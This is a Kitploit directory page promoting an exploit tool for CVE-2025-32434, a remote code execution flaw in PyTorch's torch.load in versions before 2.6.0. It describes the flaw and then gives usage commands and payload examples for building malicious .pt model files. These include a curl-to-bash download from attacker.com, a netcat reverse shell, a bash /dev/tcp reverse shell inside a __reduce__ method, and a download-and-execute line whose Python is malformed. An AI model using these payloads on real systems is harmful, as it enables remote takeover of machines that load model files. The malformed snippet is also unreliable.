Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32434-exploit — A script for exploiting a vulnerability in PyTorch with subsequent RCE in library versions < 2.6.0 | Kitploit
Tools/GitHubGitHub/b1tbit/cve-2025-32434-exploit
Payload GenerationVulnerability AnalysisExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubb1tbit/cve-2025-32434-exploit

CVE-2025-32434-exploit

A script for exploiting a vulnerability in PyTorch with subsequent RCE in library versions < 2.6.0

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Overview

This exploit demonstrates a critical remote code execution vulnerability (CVE-2025-32434) in PyTorch versions < 2.6.0. The flaw exists in the torch.load() function even when using weights_only=True, which is supposed to prevent arbitrary code execution during model deserialization.

The vulnerability occurs because the _weights_only_unpickler implementation fails to properly restrict deserialization, allowing attackers to craft malicious .pt model files that execute arbitrary system commands when loaded by vulnerable PyTorch installations.

  • Affected Versions: PyTorch < 2.6.0
  • CVSS Score: Critical (estimated 9.8)
  • Impact: Full RCE on the host loading the model

Usage

  1. Save it as exploit.py
  2. Run it to create a malicious model file:
root@kitploit:~
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"

Output example:

root@kitploit:~
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt

[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully

Customization

Edit the reduce() methods in create_malicious_model() or create_advanced_exploit():

root@kitploit:~
# Example: Reverse shell payload
class ExploitPayload:
    def __reduce__(self):
        return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))

# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))

Verification

Check Target Vulnerability

root@kitploit:~
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0
Download Tool